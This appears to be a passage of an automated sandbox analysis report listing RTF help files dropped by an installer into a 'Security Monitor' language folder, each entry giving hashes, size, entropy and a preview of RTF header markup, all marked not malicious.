MD5:	C121D028E5250297A8B932011A8122F9
SHA1:	6E9E2CAE5D2200213EA2378E2F02E4237F0EA7F1
SHA-256:	8246FF97F5D8EA82D7D9C00EC53309DC207026DD6B406B7B77E873563AB424DF
SHA-512:	F93C9D589271DA049E037F0491E9B34CA1574113F488DDF302370BB1BC4CE55985A27A294B37A50100BEA4C9E209B5C6D8020843BD404B571B99E112E6F1CB3D
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\is-DJ3MN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	54358
Entropy (8bit):	5.030949914338969
Encrypted:	false
SSDEEP:	768:Vk13TxjelQcX09coHJreOYSN4UIRopZMggLBbWm6CgqMPYZtYJxewPO1nS3jcL9A:VkLjoVq4TC
MD5:	72F2281B43D886812D0AB9227F12438E
SHA1:	9FA51047B63B8C6771351030059CA120DB60FCDA
SHA-256:	A1D007010FAB6C2E57A687E45B26AC54BCCDCB91D4310C0BD7ECD0C478AFF63A
SHA-512:	78FF6C728C82E2790C1D43759EDC5ECF4A883B6034246E4CC40A4526254E7CCBC766225B51A6ED22AD3B6EC96A2411F47922549146C7D621C68F9C8BCBB22226
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\is-FP2JJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	42355
Entropy (8bit):	5.0527900529716705
Encrypted:	false
SSDEEP:	768:Vk1q34J9zZenGLQ4oaqVYmSSlSQ4KxTmmV4JAF/WMvgDNHkAwd6Lkygbq4TF:VklnIV4J34TF
MD5:	6E4790A124B7FF2124F2D64A1F5935AE
SHA1:	809C008765ADDE1CFF719DF84F5D1A6972C9D15A
SHA-256:	7BC836689CF9FF9CF09F7E58AF04356C29C44CD67256FF828873AFAE1D9AD78A
SHA-512:	9DA4AFC8A0E1A92A33ED8D33C8C3E6162DC0FCED24BF9A65A69ED92380B10E5B639E6809067E1D8A7F2BCD7300A809CFBA07693AF9A6B425CCDA76CAC53AB38C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\is-I9L13.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	37942
Entropy (8bit):	5.034259997396652
Encrypted:	false
SSDEEP:	768:VkGN4Jt0TaGC5X2kLuuXprzghApkH9bEJzKv3TFeq4T5:VkHwd4T5
MD5:	A4F051708B7CC7EC3B58CB0A01A56DAA
SHA1:	4C4D011C0EFC5497763698DD21BE21D61553EE51
SHA-256:	E5AC50A87DD55807C9FC5BDF12C6317581F50456A9D99EF92794F5C089748F6E
SHA-512:	EFEF770ED92BB6F5D76AB7613ADF47ADF264CBBBFB741D7514A9424D77055CA01DCD1462DAFA2A8CF9E9FAF36931F78865430FE62F30DC77A9F18E0A28C8EC37
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\is-IQIC6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	45050
Entropy (8bit):	5.040256574487364
Encrypted:	false
SSDEEP:	768:VkGN4JtHiBkyKWm+m2NjrOX/zJnKujtCUcFsWjeQ2CzLZ7RntKuG5QZ2y3OE50sq:VkNk4TF
MD5:	94F6C834BB72118F52C6E4AFA65342BF
SHA1:	5066CA137EA8AE0F1CFDB50D364C0A85BF31B98D
SHA-256:	E950C0B4282DDB4BBBCA54BB72CB789B117690E1EFA15D7BE6C59BE5D77A65EA
SHA-512:	80147E578792B71F77E06659978C233E4BE7AB1352B056DEC3BCA74A0E5F5A6386983B5935467BDDA4DDF34CD64304843903A85DAC3C813DCF49457810E670E2
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\is-JEP15.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	41999
Entropy (8bit):	5.055697465978919
Encrypted:	false
SSDEEP:	768:VkmzS4JUAauTJcOerjj1oKauIKx49kWYcFBxBMdk+tkakaLMvIghQq4TP:Vku11S7u4TP
MD5:	38D9C60C2583CC6714A0F317F3FD24AD
SHA1:	06F40D2DD9A933E7073FD6B57475B879582B99D2
SHA-256:	4825CB084B4CBE44982E0B965CCE2025C23D43CC3DDB6B4389F811C07A5EE872
SHA-512:	C2397F026AF1AEFBE283F59D8188CB17C4BB43F6F228FFBF07A167DFC636D6D7504FC1BF69F53451C361FCD02646B9E96C2A6BE0FD3B12A58B9E42D8A729FB4D
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f39\fbidi \fswiss\fcharset0\fprq2 Arial CYR;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f3150

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\is-JFQN5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	38095
Entropy (8bit):	5.023434979525739
Encrypted:	false
SSDEEP:	384:qY6g3X45Y8qb7PzybdKkjYeQZBzyKIl6ZIi6rGsoUwEAG2DaGZ:qhg3feQZ5yKIl2U4Z
MD5:	BF8EAEFA279A7B4973C0AEA344342EEA
SHA1:	FC9B1F4747B94663D9BE6A446F8C186D981321F0
SHA-256:	05D8BABE44F84B4DD6022B8D236C2BF93917E8E38C14F3B700186B8C3C1209C0
SHA-512:	DDB4F723299CB3F50206830FD9809198923FAE710CE314A22558C26D235B85E1BAC6562C8A17C723857734DB0432158FC22450FE43AB3A0FFF5704D8CA885175
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang3082\deflangfe3082\themelang3082\themelangfe0\themelangcs0{\fonttbl{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}..{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fh

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\is-L61JI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	43947
Entropy (8bit):	5.053170962954844
Encrypted:	false
SSDEEP:	768:Vk1q34J9zZenGUxQBkyKWm+m2NjrOX/zJwPzFZ6LUECxfxkSFgc/rcaVbnq4Tf:VklRPc4Tf
MD5:	874129F2A6DD7287BADBF2EBD223923F
SHA1:	A6D84C0AE81F13DE1C8952A8EA3602DC54B99C2E
SHA-256:	C824F8E324B7B859ADCCA1F38437CEE6AA19ECF8FB5C8723C6347DCEA2206128
SHA-512:	236A143EC7C0E1151CAE3B0399884E7498327B2F9E4C03FA65DCDCD9628CEE9BE6DEEC5A7B5312E8CB8B016C4B5BDAADDAEDD49E20F7D75F71AD63D49F85EDA2
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\is-SVVRT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	36554
Entropy (8bit):	5.033242301326159
Encrypted:	false
SSDEEP:	768:w4FkNxjETicPI0QhhiLVUO9HZYSEWsIZ/6A9V:w4G3UntIA9V
MD5:	60CFC0AB1C3A23B456BDEB0DD8010A83
SHA1:	E2EB5D85ECC146BA756BB812247090D421D8F906
SHA-256:	FB9A493F603C0027F6782538022DA6D82577FC0CE69146E66076EF94440B7D18
SHA-512:	80ABA72B39079A7B4378C0B106CBB0098AE94BEAC586DC34BE10F5CE2D7F0193B20A215F0D98D08A709F934CB1AC05FCE6B15270D3E855F01BD9C814D95AA4AB
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbmi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\is-TE8SC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	43957
Entropy (8bit):	5.05318714443273
Encrypted:	false
SSDEEP:	768:Vk1q34J9zZenGLQ4oaqVYmSSlSQ4KxTmmqAFbMmzigeIgpwgM/tI1m3AG8bq4Tn:VklnIqk4Tn
MD5:	C802BE58C5B4EEE36B30EAE58603CBE5
SHA1:	3F245C80D14B4051CDE661FE373FB7C57020019A
SHA-256:	6D1E5226FE921E8E23C48A0F7C4FC06B815BB0D777C2DE20D6E4EB2A53100023
SHA-512:	402EBEFF45912562F8248CA7018BEEDE532E91F54839AA5AE556590D6F9D9D786E39E9776808C30F050CDC22BEB595A715DF8A2603ED1AF675A2B07665B249FB
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\is-V4A2L.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	42973
Entropy (8bit):	5.043020142659255
Encrypted:	false
SSDEEP:	768:wqFkwxjeVGh+DoLLXI1nhDGi3w2EHlT2njX8x3DkF8zHtrWM+cimZ/6A9r:wqR3tIA9r
MD5:	286021A4AA9BD225FA7A87089380213E
SHA1:	DA805EA3171A5FFF8357CD89F798D576D0B27E70
SHA-256:	C447B4CA501DAB11FCDFF381BABF34C63BE48B0DADBC538D2C5F1CD07F4D7BCF
SHA-512:	F4A21476EE1870D47162C29625D966D37C16B3F40EE30F54E68A8F81BAC74DEE3FD5C7489DC5F883745DB98E7BCB69B80DB00A664A3330FB0AB1DEF3AA9F7F56
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 0

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\keyboard.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	41999
Entropy (8bit):	5.055697465978919
Encrypted:	false
SSDEEP:	768:VkmzS4JUAauTJcOerjj1oKauIKx49kWYcFBxBMdk+tkakaLMvIghQq4TP:Vku11S7u4TP
MD5:	38D9C60C2583CC6714A0F317F3FD24AD
SHA1:	06F40D2DD9A933E7073FD6B57475B879582B99D2
SHA-256:	4825CB084B4CBE44982E0B965CCE2025C23D43CC3DDB6B4389F811C07A5EE872
SHA-512:	C2397F026AF1AEFBE283F59D8188CB17C4BB43F6F228FFBF07A167DFC636D6D7504FC1BF69F53451C361FCD02646B9E96C2A6BE0FD3B12A58B9E42D8A729FB4D
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f39\fbidi \fswiss\fcharset0\fprq2 Arial CYR;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f3150

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\logging.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	38095
Entropy (8bit):	5.023434979525739
Encrypted:	false
SSDEEP:	384:qY6g3X45Y8qb7PzybdKkjYeQZBzyKIl6ZIi6rGsoUwEAG2DaGZ:qhg3feQZ5yKIl2U4Z
MD5:	BF8EAEFA279A7B4973C0AEA344342EEA
SHA1:	FC9B1F4747B94663D9BE6A446F8C186D981321F0
SHA-256:	05D8BABE44F84B4DD6022B8D236C2BF93917E8E38C14F3B700186B8C3C1209C0
SHA-512:	DDB4F723299CB3F50206830FD9809198923FAE710CE314A22558C26D235B85E1BAC6562C8A17C723857734DB0432158FC22450FE43AB3A0FFF5704D8CA885175
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang3082\deflangfe3082\themelang3082\themelangfe0\themelangcs0{\fonttbl{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}..{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fh

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\noPRO.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	55781
Entropy (8bit):	4.974374262253835
Encrypted:	false
SSDEEP:	768:wqFkd4JQJHT2njX8x3TLjwUtqYepAkVZEdvI9DhL02GZLu5UZcHXqjHZCNVsMQgB:wqdThL0kIIA9Y
MD5:	0BF8EF2B17B829705BB1D37632503C1F
SHA1:	5E969D18969120A577205E785D8641CAD1037AA5
SHA-256:	665B118FF5A8EA42EC98EB73371D9F28DAA619617F014E4C6FB9F4281521D391
SHA-512:	6FA8B101F982EC8CB3987057591C90300C0C158A74D4DBCEFF179E994E9A560C5EF0F130314639B751B01501465B4D55C8DA68F95FF1F9E97174B3A8CF264AB3
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 0

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\noURL.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
